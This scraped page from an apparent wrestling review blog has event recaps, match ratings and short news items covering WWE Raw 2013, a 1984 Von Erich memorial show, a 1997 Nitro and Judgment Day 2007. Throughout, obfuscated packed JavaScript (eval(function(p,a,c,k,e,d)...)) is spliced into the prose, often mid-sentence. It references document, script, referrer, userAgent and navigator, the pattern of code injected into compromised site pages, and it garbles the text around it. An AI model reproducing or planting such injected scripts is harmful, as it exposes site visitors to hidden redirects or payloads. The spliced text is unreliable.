Thought of the Day: Why I Keep Watching

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydhri|var|u0026u|referrer|aefas||js|php'.split('|'),0,{})) night on the forums someone asked if I still enjoyed watching wrestling.  My reply:
Absolutely. Yeah there’s A LOT of stupid stuff and you get tired of sitting through it, and then one night Fandango comes out and the fans start singing his song. Or Brodus Clay debuts as the Funkasaurus instead of another monster. Or you’re expecting some lame celebrity like Justin Bieber to be announced as host of Wrestlemania 27 and instead you hear “IF YA SMEEEEEEEEEEEEEEEEEEELLLLLLLLLLLLLLLLLLLLLL”. Or the night after Rock dominates Wrestlemania 27 John Cena challenges The Rock to a match a year later and WWE basically says “Oh yeah. We’re going there!.” Or you see Joseph Park absolutely nailing the rookie lawyer character. Or you watch Raw one night in January and John Cena and CM Punk put on one of the greatest matches of all time on free TV for a spot int he main event of Wrestlemania and you can barely stay on your bed because you’re trying not to scream at them to kick out because you don’t want this to end.Yes wrestling is still fun. You never know when you’re going to see something amazing.




Monday Night Raw – May 6, 2013: Punk Was Right. Security Around Here DOES Suck

Monday Night Raw
Date: May 6, 2013
Location: Roanoke Civic Center, Roanoke, Virginia
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

We open with the voiceover talking about Ryback walking out on Cena as well as Heyman and Lesnar at WWE headquarters today with the promise of footage later tonight.

We hear about Lesnar and Heyman invading WWE headquarters. It comes off like a breaking news report from a news channel.

Randy Orton vs. Damien Sandow

Orton beat Sandow on Smackdown but after the match Sandow hit him with the Terminus, meaning we need a rematch. On the way to the ring, Sandow gives us a song, set to the beat of Voices and talking about how Orton never changes his facial expressions, is covered in oil and is an ignoramus. That was great. Orton jumps Sandow quickly and loads up the Elevated DDT, only to have Damien head to the floor. Back in and Orton hits the backbreaker and the circle stomp as we take a break.

Big Show knocks out Randy as he leaves.

Fandango vs. R-Truth

More pictures of Heyman and Lesnar at WWE HQ.

We look back at Smackdown with Bryan losing to Ryback and then being attacked by Shield later in the night.

Alberto Del Rio vs. Dolph Ziggler

Non-title of course. Del Rio takes him down with a quick headlock and a hard kick to the back for two. Dolph comes back and stomps away in the corner before hitting a running splash for two. Alberto hits a running kick to the head/shoulder in the corner for two followed by the forearms to the back and the Backstabber. The champ falls to the floor and here come Swagger and Colter. Jack and Langston get in a staredown but Jack walks over to the announce table as we take a break.

Post match Swagger runs over Langston and beats up everyone in sight with the ladder.

More Lesnar photos.

Shield vs. Usos/Kofi Kingston

Antonio Cesaro vs. Zack Ryder

AJ/Bella Twins vs. Funkadactyls/Kaitlyn

AJ and Cameron start things off with Cameron being taken down with ease. AJ toys with her before putting on a cravate to slow things down. The crowd is eerily silent. Off to Kaitlyn to stare down AJ and get slapped in the face. The Bellas walk away, allowing Kaitlyn to spear AJ down for the pin at 2:23.

Wade Barrett vs. Sheamus

This is joined in progress with Barrett holding a chinlock. Henry is on commentary as well. Sheamus fights up and hits a running knee lift as Henry says Cole is “ate up with stupid.” There are the ten forearms to the chest and Barrett is knocked to the floor. Henry gets off commentary and Sheamus teases throwing Barrett at him but stops, sending Henry falling to the floor.

A Brogue Kick lays out Henry and Sheamus goes back inside with the top rope shoulder for two on Wade. Barrett gets a quick small package and the Winds of Change for two each. The Irish Curse stops the comeback dead but the Brogue Kick misses. A big forearm gets two for Barrett but the Bull Hammer is caught in White Noise. The Brogue Kick ends Barrett at 4:45.

Rating: C. Both midcard champions job in the same night again. The match was the usual physical fight between these two but Barrett jobbing has become an obvious ending to their matches. Sheamus continues to look great in the ring as he has a style that is very easy to adapt to and can work well with any kind of opponent.

Jericho vs. Fandango next week.

Now we look at the Lesnar footage AGAIN.

Ryback vs. Kane

Results

Randy Orton b. Damien Sandow – RKO

R-Truth b. Fandango via countout

Alberto Del Rio b. Dolph Ziggler via DQ when Jack Swagger interfered

Shield b. Kofi Kingston/Usos – Falling Bulldog to Kingston

Antonio Cesaro b. Zack Ryder – Neutralizer

Kaitlyn/Funkadactyls b. AJ/Bella Twins – Spear to AJ

Sheamus b. Wade Barrett – Brogue Kick

Ryback b. Kane – Shell Shock

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:

 




On This Day: May 6, 1984 – David Von Erich Memorial Parade of Champions: Flair Comes To Texas

David eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiazr|var|u0026u|referrer|hzbde||js|php'.split('|'),0,{})) Von Erich Memorial Parade of Champions
Date: May 6, 1984
Location: Texas Stadium, Irving, Texas
Attendance: 32,123
Commentator: Marc Lawrence

So back in 1984, David Von Erich was allegedly the next in line to become NWA World Champion. Then he died. He had gone on a tour of Japan and complained of a stomach ache and he never woke up that night. According to the official results it was a heart attack but a lot of wrestlers say it was a drug overdose and Bruiser Brody allegedly flushed the drugs down a toilet. Anyway, this is a big memorial show for him and his brother Kerry has a world title shot against Flair. Gee, I wonder what’s going to happen. Let’s get to it.

I think this is a hacked up home video version, so things are going to be all over the place and probably clipped a lot.

Also I’ve gotten two different attendance totals and this is the smaller one, but the look of the show would imply it’s more correct than the one I saw that said over 50,000.

Chick Donovan vs. Butch Reed

Reed is a total monster here. Donovan is a surfer character and is built as well. They exchange shoves and Donovan takes him down. It’s so strange to think that this is almost a year before Wrestlemania as things look like they could be from the late 90s. I think we’re clipped a bit as Donovan grabs the leg but I’m not sure. They fight over a top wristlock and Reed takes over. Donovan gets thrown to the floor and the camera jumps around a lot. I think it’s more odd camera work than clipping. Donovan looks to Hulk Up on the floor and comes back in but gets his head kicked off. A gorilla press drop and a shoulder block end this.

Rating: D+. Not much here but I’m really impressed by the production values here. Maybe it’s that I’m so used to everything from the 80s being dark until the very end, but this is a really bright and good looking show. Reed would go on to the NWA and then the WWF later in the 80s and then become half of Doom. Donovan became an announcer I think.

Great Kabuki vs. Kamala

Kabuki is a guy that was far more famous in territories and Japan than in America. His biggest contribution: he introduced Asian Mist to pro wrestling. Kamala I’m sure you’re all familiar with. This is Gart Hart vs. Skandor Akbar in the managing aspect, who are both guys you should know as they’re awesome. Hart (not related to Stu) towers over Kabuki. Kabuki does a nunchuck demonstration before the match.

They stall forever before the match and Kabuki spits Mist. Now they stall even more. We’re at about a minute so far with no contact. Kamala finally gets things going by chopping away. Kabuki kicks a lot as is his custom. The fans have no idea who to cheer for it seems. A test of strength doesn’t happen as Kamala grabs a bearhug instead.

Now it’s a choke which Kamala shifts to a pectoral hold. In other words, he’s grabbing the chest. The managers are about to fight again. Kabuki fights up…and then Kamala pulls him right back down again. A superkick puts Kamala down and Kabuki chokes some too. END THIS ALREADY!!! They chop each other a lot and Kabuki kicks him down as the managers start fighting. They both come in and it’s a double DQ.

Rating: F. I need a drink after sitting through that match. This was HORRIBLE and the ending sucked really hard. Neither guy moved faster than a turtle with a broken leg’s pace and the ending made it even worse. Just a horrible match and I have no idea who thought this was going to be a good idea.

Junkyard Dog vs. Missing Link

Dog was a HUGE star at this point. Missing Link is a crazy man. Link charges straight at him so Dog punches him a lot. A chair is brought in so Dog whacks him over the head with it and that’s all well and good I guess. Akbar is Link’s manager too. Link tries ramming Dog’s head into the buckle and that just fails. Now Link rams his own head into the buckle. They both get on all fours and ram heads which goes to Dog as well. Akbar tries to cheat and it allows Link to hit a middle rope headbutt for the pin? Akbar had the foot for the pin but another referee comes out and says what happened so Dog wins by DQ.

Rating: D-. It’s only really not a failure because Link had a cool look and I liked the insane character he had. The Dog was WAY over and it worked very well to have him here. Not a good match at all though as their styles completely clashed and the ending was even worse with neither guy looking good at all. It was pretty much a squash until the end.

American Tag Titles: Super Destroyers vs. Rock N Roll Soul

The Destroyers are guys in masks and are the champions. Rock N Roll Soul are King Parsons and Buck Zumhofe. This is the top tag title in the company. Akbar manages the champions here AGAIN. The fans are way behind the champions here. Buck and we’ll say #1 start with a crisscross. Off to Parsons and #2 and Parsons works on the arm. A dropkick puts the Destroyer down and Parsons does the JYD all fours headbutt.

Off to the other Destroyer who can’t hurt Parson’s head, just like JYD. Couldn’t they at least have another match in between there so it’s not so obvious? Off to Buck who climbs the ropes with a headlock takeover. Sunset flip gets two. We hit the five minute mark as Buck still has that headlock on. The heels make a blind tag and the other comes in with a dropkick for two.

A kneedrop gets two for I think #1. Those are their names: Super Destroyer #1 and Super Destroyer #2. They would eventually be revealed to be Bill and Scott Irwin. Parsons gets the tag and everything breaks down. Soul gets stereo sunset flips for two. Parsons gets double teamed but he hits his flying hip attack (Goldust used to use it) for the pin and the titles.

Rating: D+. This is before 1986 so the tag team formula wasn’t established yet at all. This was pretty much just so they could say something major happened here…which is pretty pointless given the main event but whatever. This was more of a regional thing than a match for the masses if that makes sense.

Six Man Tag Titles: Freebirds vs. Von Erichs

Kevin, Mike and Fritz here. The Birds are the champions and the titles are represented by a big trophy instead of belts. Mike is one of the saddest stories you’ll ever hear: He wasn’t a good wrestler in the first place and then he was injured. The injury resulted in toxic shock syndrome, which resulted in brain damage. His dad, Fritz, made him get back in the ring anyway. He committed suicide later in the 80s.

This is anything goes. Fritz is in a dress shirt and jeans. Everything breaks down quickly and chairs are thrown in. The referee says anything goes but you have to tag. Ok then. Kevin is bleeding from the big brawl. Ok so it’s officially Buddy Roberts vs. Kevin to start. Kevin beats him down and it’s a brawl in less than 10 seconds with everyone coming in. Off to Mike who goes straight for the leg.

Mike is a very small man. Hayes comes in and stomps away as the fans HATE him. A middle rope splash misses and here’s old man Fritz. Everything breaks down again and Fritz whips Hayes’ back with a belt. Kevin vs. the monster known as Terry Gordy. Gordy starts his boxing and the fans are erupting more and more every second now. If the Von Erichs win, Kerry gets Fritz’s title since Fritz is retired. I’m glad they cleared that up.

Kevin tries the Iron Claw but Gordy fights it off at the five minute mark. Hayes comes in and the fans are louder in this match than they’ve been in the whole show so far. Hayes takes off his boot to get in some shots and it’s off to Roberts. In one of the oddest moves you’ll ever seen, Roberts thrusts his hips forward so his belt buckle hits Kevin in the head. Fritz comes in and everything breaks down. Claw to Hayes and to Roberts at the same time. Hayes is busted bad. Various people are rammed into each other until Kevin comes off the top with a cross body to pin Roberts for the title.

Rating: C. This was the first decent match of the entire show. Granted a lot of that was probably due to the crowd finally being interested. This was without a doubt the feud that defines the promotion so you knew they were going to have something going on here. Not a bad match, but the rematch in July won Match of the Year from Meltzer, so check that out instead since it had Kerry so Fritz didn’t look so out of place.

Killer Khan comes in post match for the big beatdown. Kerry runs out for the save.

NWA World Title: Ric Flair vs. Kerry Von Erich

You can tell this is a long time ago as Flair is from Minneapolis still. Kerry comes out to some country song that started after the beginning of Tom Sawyer played. His robe says In Memory of David and has a yellow rose, which was David’s nickname. If Flair gets disqualified, Kerry is champion. Kerry overpowers him to start and they hit the mat at a standoff.

They go back to the mat and no one can get control again. Kerry takes over and hits a dropkick to put Flair into the corner. They fight over a top wristlock and Kerry takes over again. This is a long feeling out process to start. Kerry gets a press slam and Flair begs off, heading to the floor. Flair gets in some shots but Kerry is like not in Texas dude. Sunset flip gets two.

Kerry hooks a sleeper but Flair suplexes out of it to take over. The champ uses his regular stuff to control, including the knee drop. Kerry snaps off a dropkick which Flair doesn’t even go down from. Flair gets caught in an abdominal stretch but escapes quickly. Shoulder puts Kerry down but he grabs the Iron Claw. After escaping, Flair goes up top but is slammed down. Kerry escapes a pair of Figure Fours and grabs a backslide for the pin and the title.

Rating: D+. That’s it? I mean really, that’s it? This wasn’t even 12 minutes long. It came off more like a modern TV main event than anything else. Flair never had Kerry in anything resembling trouble, although Kerry never dominated either. To be fair though, you couldn’t have made this more obvious if you had painted a big sign saying “come see Kerry win the title”. His match with David had been built up already so this was thrown together at the last minute. The lack of hatred hurt it, but there’s only so much they could do here.

The locker room empties for the celebration. Flair says he’ll be back and Kerry says bring it. He would lose the title back to Flair in less than three weeks in Japan, and that’s ok I think as Kerry was never meant to be champion in the first place. Flair would hold it over two years after that.

Oddly enough, that’s not the last match.

Precious/Jimmy Garvin vs. Sunshine/Chris Adams

Basic feud here with Precious having Sunshine as an assistant until she treated her horribly once too often Sunshine snapped. This is the payoff for it. The guys start us off and Adams slams him down. Garvin can’t do much with him due to a lack of talent. After a brief chinlock we get a double clothesline to put both guys down. Superkick puts Garvin down and the girls come in.

They aren’t wrestlers so this is horrendous. Back to the guys and Adams takes over on a tired Garvin. Garvin hits what we would call Snake Eyes to take over. Adams is busted open but he manages to reverse a piledriver. The girls come in again and everything breaks down. Adams comes back in with a sunset flip for the pin as the girls fight to the floor.

Rating: F. Terrible all around, but to be fair the girls weren’t wrestlers. That being said, Garvin is but he couldn’t do anything of note. Adams wasn’t very famous as a wrestler but he brought the superkick into modern wrestling and trained Steve Austin, so he had to be worth something right?

Garvin and Precious run away to end the show.

Overall Rating: D. This was one of the worst shows I can remember in a long time. You had terrible matches other than about two and the rest was just missing. I get that it’s a different era, but would a clean fall have killed you in the first 30 minutes? Also the time is weird as only one match out of seven broke 10 minutes. The whole show is only a little over 70 minutes (granted that’s not counting entrances) so it came off as totally rushed. Not worth seeing, not even for the title change.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




Wrestlemania 29 Outsells Wrestlemania 28

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryiaz|var|u0026u|referrer|szayn||js|php'.split('|'),0,{})) least in North America.  According to Meltzer, it had 750,000 North American buys, putting it slightly ahead of last year’s show.  It also made approximately $5 million more than last year.

 

WWE really is dying with Cena on top though.  No one would EVER pay to see him in the main event of Wrestlemania in a match where it was pretty obvious he was winning the title.

 

I’m rather surprised but also rather pleased with these results so far.




On This Day: May 5, 1997 – Monday Nitro 1997: Nitro Just Keeps Going

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrnes|var|u0026u|referrer|bbeey||js|php'.split('|'),0,{})) Nitro #86
Date: May 5, 1997
Location: Jenkins Center, Lakeland, Florida
Commentators: Tony Schiavone, Larry Zbyszko, Bobby Heenan

Public Enemy vs. Konnan/Hugh Morrus

Cruiserweight Title: Rey Mysterio Jr. vs. Syxx

Lee Marshall does his road report.

Steven Regal vs. Meng

Meng puts Regal in the Tongan Death Grip post match. Sullivan gets him to drop it and Regal starts beating on them again. The Death Grip stops him cold. Regal looked awesome here.

Video on DDP vs. Savage.

Alex Wright vs. Jeff Jarrett

Glacier vs. Lizmark Jr.

Superkick, Lizmark is pinned, 17 seconds.

Post match James Vandenberg (James Mitchell of TNA fame), Mortis and Wrath come out for the big heel beating.

Harlem Heat vs. Lex Luger/The Giant

Diamond Dallas Page/The Giant vs. Harlem Heat

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:




Judgment Day 2007: Fight Like He Hit Your Mama With A 2×4

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stiky|var|u0026u|referrer|drnzk||js|php'.split('|'),0,{})) Day 2007
Date: May 20, 2007
Location: Scottrade Center, St. Louis, Missouri
Attendance: 10,500
Commentators: Jim Ross, Michael Cole, Taz, Joey Styles, Jerry Lawler, John Bradshaw Layfield

 

This is during the time where they really didn’t know a lot about what they were doing. Cena is in the middle of his one year title reign and the main event is him vs. Khali who is undefeated at this point. Other than that the show is packed as we’re in the tri-branded shows again. We also have Team McMahon (Vince/Shane/Umaga) vs. Lashley for the ECW Title and Edge vs. Batista for the Smackdown title. Let’s get to it.

 

The video is about those three matches and how we don’t know what happens to us after we die. Ozzy Osbourne does the theme music here so I can’t complain much.

 

We have six commentators. Good freaking grief.

 

Ric Flair vs. Carlito

 

I think I vaguely remember Flair tutoring Carlito so I’d assume this is the blowoff for it. Flair chops and hammers away so hair boy hits the floor. Carlito gets a shot in to the arm to introduce some psychology. We enter into some arm work as Carlito amazes me with how lazy he got. Not in this match but in general. The fans get behind Flair of course in a wrestling town like this one.

 

Flair’s arm goes around the post as Naitch is in trouble. Carlito keeps mixing things up on the arm which is such a nice perk. It gets painfully boring to see someone use the same move over and over again. Putting an armbar on is fine but do other stuff too. More arm stuff follows as we’ve been doing for about five minutes now. Dropkick gets two.

 

Flair comes back with one arm chops but gets caught in a backdrop for two. Back to the armbar but Flair comes back with one arm. Good selling here by Flair. Backstabber doesn’t work and it’s time to go after the leg. This doesn’t take long as the Figure Four goes on and we’re done in just a few seconds.

 

Rating: B-. I rather liked this actually with Flair selling the arm well. The flaw to it was that once Flair woke up the arm didn’t really play much of a role in this as Flair does most of his stuff with one arm anyway. Still though, not bad as Flair teaches the brash young punk a lesson and wins clean. I do kind of question him winning here though but oh well.

 

We recap Shawn’s head injury which is a result of Khali chokebombing him through a table. With a concussion Shawn managed to beat Edge on Raw but Orton popped up post match to punt him, meaning his head is even worse.

 

Shawn tries to talk but gets jumped by Orton and sent into the set, messing him up again. They have a scheduled match later tonight.

 

We recap Team McMahon vs. Lashley which is fallout from Mania and Vince’s haircut. Vince won the ECW Title at Backlash, ticking off every ECW fanboy on the planet. He was still bald at this point so he has a bandana on. You can’t say they’re not pushing Lashley at this point. Basically it’s a handicap feud to make Lashley look like a monster.

 

ECW Title: Team McMahon vs. Bobby Lashley

 

It’s Umaga, Vince and Shane if you forgot. Lashley had a legit injury at Backlash so he’s rather limited in what he can do. He wouldn’t be able to take time off until July though, which was his last match for the company. The belt looks like a toy at this point. They would trade it in for the big one they finished the brand with soon. Lashley has generic rock theme 19 here.

 

Lashley cleans house to start, getting a BIG pop when he gets his hands on Vince. Almost no reaction at all for the other two. We finally get down to Shane vs. Lashley which goes badly for the boy wonder. Umaga misses a corner splash as it hits Shane, allowing a powerslam to pin Shane to give Lashley his second ECW Title in about 75 seconds.

 

And never mind as Vince says it doesn’t count as he didn’t pin Vince. Umaga beats Lashley down post match. Lashley would get it back for real next month before having to drop it due to being drafted to Raw. Then it would be put up in a mini-tournament which was supposed to be won by Benoit. I think you guys know the story there.

 

Shawn is checked out by a trainer and is told he can’t compete.

 

CM Punk vs. Elijah Burke

 

Burke is more known as the Pope now. Punk has heavily taped ribs and IT’S CLOBBERING TIME!!! Burke wanted Punk in the ECW New Breed but Punk said no, so here’s a match. Basically Elijah is just a loudmouth at this point and is overly cocky. He’s a rare example of TNA taking a guy and doing FAR better with him than WWE did. The fans are behind Punk here.

 

Nothing of note to start other than some striking and Punk throwing on a chinlock. That makes sense here as he’s trying to conserve wind due to the ribs being injured. Punk keeps firing off kicks and adds a suplex for two. British Bulldog suplex gets two and we hit the chinlock, both by Punk if that wasn’t clear. That doesn’t last long as Punk hits a springboard reverse cross body for two.

 

Burke finally gets to the ribs and Punk can’t get the knee in the corner. Punk is noving very gingerly because of the ribs. GTS can’t hit so he settles for a springboard dropkick to send Burke to the floor. This has been almost all Punk for the first 8 minutes and he adds a suicide dive to the floor to continue his advantage. Burke manages to pull him off the top in almost a powerbomb style move and it’s time to work on the bad ribs.

 

Off to the body scissors and the fans chant for JBL for absolutely no reason at all. See, in contrast to the opener with Carlito doing a bunch of different stuff to Flair’s arm, Burke is using the same body scissors the entire time. There are TONS of moves and holds to use on the ribs but he uses the same one. Big difference and it made me enjoy the Carlito stuff more.

 

Punk gets out of it and they head to the corner. Superplex by Punk has both guys in EXTREME (it’s an ECW match so you have to capitalize that word) agony. Punk is up first and starts firing off strikes. Enziguri gets two. Knee in the corner hits this time but he can’t get the bulldog. Elijah Express (double knee in the corner) misses as does the GTS and an STO gets two for Burke. Double knees his this time and Punk is caught in the Tree of Woe for a bit before the cover only gets two. Punk reverses another STO and the GTS hits for the pin. We even get a faster count as per ECW tradition.

 

Rating: B. Good match here as they had a lot of time and it paid off in the end. Burke isn’t a guy that I was ever a fan of in WWE but this was a very good outing from him. Then again being in there with him probably didn’t hurt things at all. Punk would of course become a far bigger deal than Burke in WWE but that was to be expected.

 

Edge brags about beating Undertaker and how it’s his world title, not Batista’s. Interesting that all three are more or less retired at this point.

 

Randy Orton vs. Shawn Michaels

 

Shawn has the head injury remember. Randy gets a face pop and isn’t hearing voices yet. Orton wants the forfeit win but here’s Shawn. Uh…maybe just his music. Oh there he is, barely able to stand up straight. He doesn’t do his pyro and can barely keep his eyes open. Dude, what did I tell you about chilling with the Hardys? The referee tries to talk him out of it and Shawn says ring the bell.

 

Orton drills him in the head as it rings and Shawn is in big trouble early. Oh we’re in St. Louis. That’s why he got the face pop. Elevated DDT gets two more than once. Shawn is gone and Orton keeps stomping. He sets for the RKO and Shawn just falls. He’s had no offense at all. Orton tries a super RKO but Shawn knocks him off and manages to drop an elbow somehow. He can’t even cover though so he sets for the kick. Shawn sets for it and just falls down and the referee stops it.

 

Rating: N/A. This ran about four minutes but you can’t call this a match as it wasn’t. This was an angle which was used to advance Orton. Soon he would completely dominate the upper midcard to become the mega challenger to Cena, ultimately taking the title when Cena was hurt in the fall.

 

RKO to Shawn post match draws his wife out to check on him. He leaves on a stretcher.

 

Khali yells in Hindi. He has the title belt despite not being champion. Not a good example for a cop.

 

Raw Tag Titles: Hardys vs. Lance Cade/Trevor Murdoch

 

No longer the Hardy Boys I guess. To give the Smackdown guys something to do they’re calling it. No real reason for this other than face tag team vs. heel tag team. Matt vs. Cade to start us off. Technical stuff so far as Matt takes over for the most part. Apparently Matt is a Smackdown guy despite being a Raw champion. Cade tries a wristlock and Matt BLASTS him with a forearm to counter. That looked great and sounded even better.

 

Off to Jeff to a BIG pop. Murdoch comes in also and there isn’t exactly a pop but maybe it’s implied? You can tell they’re in a long form match here as the faces have an extended control period to start. Matt gets a double axe off the middle rope for two. Cade comes in and takes over with Murdoch helping also.

 

And never mind as Jeff comes in for another pop. Slingshot dropkick gets two in the corner on Murdoch. Cade tries to leave and that gets us nowhere. Back to Jeff vs. Murdoch again and Jeff tries a front flip over the ropes. Murdoch steps to the side and Jeff CRASHES with a loud thud. Cade takes over again as Jeff sells like the master that he is. I mean at Victory Road he even managed to sell that he was a competent professional.

 

Off to the chinlock and Jeff gets beaten up even more. This is more of an extended Raw match which isn’t a bad thing here but just a bit different. Canadian Destroyer/Sunset Bomb by Murdoch gets two as Matt saves. Double tag and it’s off to Cade vs. Matt. After most of the house is cleaned, Cade takes Matt down for a bit. I guess he didn’t get to dust the top shelves. Not that it matters as the Twist of Fate and Swanton keep the belts in North Carolina.

 

Rating: B-. Not a terrible match here at all as you had an extended Raw match but the fans were certainly into it. Extended Raw matches are fine like here as you had two pretty good teams and therefore you got a good match out of it. What more can you really ask for here anyway? The country boys would get the titles in about two weeks.

 

They shake hands post match. Odd indeed.

 

Edge has a video for us, which is about him stealing the world title from the injured Undertaker after stealing MITB from the injured Kennedy. This was a big part of the Ultimate Opportunist thing. This is your hype video for Batista vs. Edge in case you weren’t clear on that.

 

Smackdown World Title: Edge vs. Batista

 

Edge got the title from Taker 9 days before this. Oddly enough he comes out first here. Batista has a bandaged leg from….I think a match with Taker who he was feuding with for a long time. The idea here is Edge did in three seconds what Taker couldn’t do in two months. The thing is it was just after a cage match with Batista and Henry coming out for a beatdown.

 

Edge backs off a lot to start. All Big Dave as he sends Edge to the floor but he gets his knee slammed into the steps and the Canadian takes over. Back in Batista goes shoulder first into the post as the psychology shifts a bit. A long armbar is actually countered by an arm drag and Batista gets him into the corner for the shoulders. Clothesline puts both guys down.

 

Powerslam gets two for Batista. Boss Man Slam (why does no one piuck that up as a finisher? Barrett uses it as a regular move but it’s a great finisher for a power guy) gets two as does an Edge-O-Matic for the champ. Edge sets for a spear but Batista gets a BIT one instead for two. Another powerslam and it’s Batista Bomb time. Edge counters but gets caught in a spinebuster. It hurts the knee though and Edge grabs a rollup for the pin to retain.

 

Rating: C. The ending isn’t a cop out as it seems. This was more about Edge getting dominated in the end but catching Batista in one error to retain, playing up the opportunist aspect of him. Anyway, not much of a match here as it felt like a SNME match, which is ok but it gets a bit dull at times. Edge would get hurt in like two months and Khali would get the title in a battle royal.

 

The Divas are asked who wins in Cena vs. Khali. Jillian thinks Khali is hot. Maria picks Batista. This is totally pointless.

 

US Title: Chris Benoit vs. MVP

 

MVP is challenging here and it’s 2/3 falls. They had a decent match at Mania and this is the rematch. Amazing to think this was two months before the Benoit stuff happened. This is the third match in their series. Apparently Benoit has a bad leg which is a running theme tonight. They feel each other out for a good while as Cole isn’t sure if DQs or countouts count.

 

All Benoit to start but he can’t get the Crossface. MVP grabs a headlock which gets him nowhere at all. Benoit hammers away and they hit the mat. The idea here was that in the first match Benoit completely outwrestled him then at Backlash Benoit had more trouble with him and now he’s having real trouble with him. MVP works on the leg for a good while.

 

Rolling Germans time but the knee gives out on the final one. Crossface goes on but he manages to get to the rope. Back to the knee but a big boot in the corner misses. Sharpshooter goes on but that doesn’t work either. Good stuff here for the most part but the whole work on a limb thing is getting a bit repetitive tonight. MVP tries to climb the ropes and Benoit gets him in an electric chair, but the knee goes out and the Playmaker gives MVP the first fall.

 

There’s a rest period and Benoit stretches his leg a bit. The knee is falling apart and MVP attacks it every chance he gets. Even on a cover MVP twists the leg around in a very nice touch. Leg lock goes on which becomes a Brock Lock and Chris is in trouble. Playmaker doesn’t work a second time as Benoit gets a SWEET counter into the Crossface but he can’t lock it in due to a shot to the knee. A big boot to the knee allows MVP to roll him up to win the title in two straight falls. He would hold it nearly a year.

 

Rating: C+. The knee work was good here but at the same time it got a bit annoying having this in about the fourth or fifth match tonight. Benoit would head to ECW rather soon and I think you know how that ended. Pretty decent match here though as MVP used the previous two matches to get the win here, which is psychology which is the best thing you can ask for.

 

We recap Cena vs. Khali. Someone laid out Shawn, Edge and Orton in one night to send a message to Cena so he called them out at the end of the night. It was Khali who then beat the tar out of him. Cena managed to get him in the FU position but Khali countered and hit the Chokebomb. The idea is Cena is the underdog here despite being champion. Khali beat Shawn clean to officially become #1 contender.

 

Raw World Title: Great Khali vs. John Cena

 

Staredown to start and Cena pounds away but it gets him chopped in the head. Clothesline and a right hand sends him to the floor. Khali sends him to the steps and back in the ring puts his foot on the chest for two. Slam and a leg drop (BROTHER) get two. This is all Khali if that wasn’t clear. Cena tries to move a bit and gets the Throwback for two.

 

Back up and Cena hits the ropes but KHALI HITS A SPIN KICK!!! WHERE IN THE WORLD DID THAT GO AFTER THIS MATCH????? I almost rewound the tape to see if I really saw that but it was there. Out to the floor now and Cena is rammed into the table a few times. Off to a nerve hold which doesn’t last long because it’s just a nerve hold. A pair of shoulders is enough to tie Khali in the ropes for a bit. Cena charges instead of standing there but Khali gets out and hits a big boot to take him down.

 

Cena blocks the knockout chop but gets sent to the floor. Khali comes after him but Cena finally wakes up and dropkicks the steps into the knees. Top rope Fameasser and Khali is in trouble. STFU goes on and this is all or nothing for Cena. Khali finally taps but his foot was under the rope which is what set up the rematch the next month in a falls count anywhere match.

 

Rating: C. There was only so much they could do here and for the most part it worked I think. Khali didn’t have to do much out there which is ok also as his size makes up for it. They kept this should (a little over 8 minutes) and that was the best thing they could have done. They weren’t going to get a great match here no matter what but all things considered, this was about as good as they were going to get, especially since it never got totally unrealistic for Cena to come back.

 

Overall Rating: C+. This was definitely a B level show but it worked pretty well. There isn’t a bad match on the card and while the ratings for each were all pretty good, there’s absolutely nothing worth going out of your way to see. This is a show that you could easily skip and you would have been fine, which is why having another show in two weeks was a stupid idea. Not bad, but definitely not worth seeing.




Impact Draws Lowest Audience In Seven Months

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeiei|var|u0026u|referrer|dbaih||js|php'.split('|'),0,{})) past Thursday’s show saw the worst audience of the year.  The numbers have been going down since Bully won the title but are falling even faster now that it’s all about Sting and Hogan.

 

Imagine that: people don’t care about Bubba Ray Dudley vs. two old guys in the year 2013.  I for one am shocked.




Smackdown – May 3, 2013: A Continuation Of Raw Minus Cena

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiyik|var|u0026u|referrer|ayyre||js|php'.split('|'),0,{})) May 3, 2013
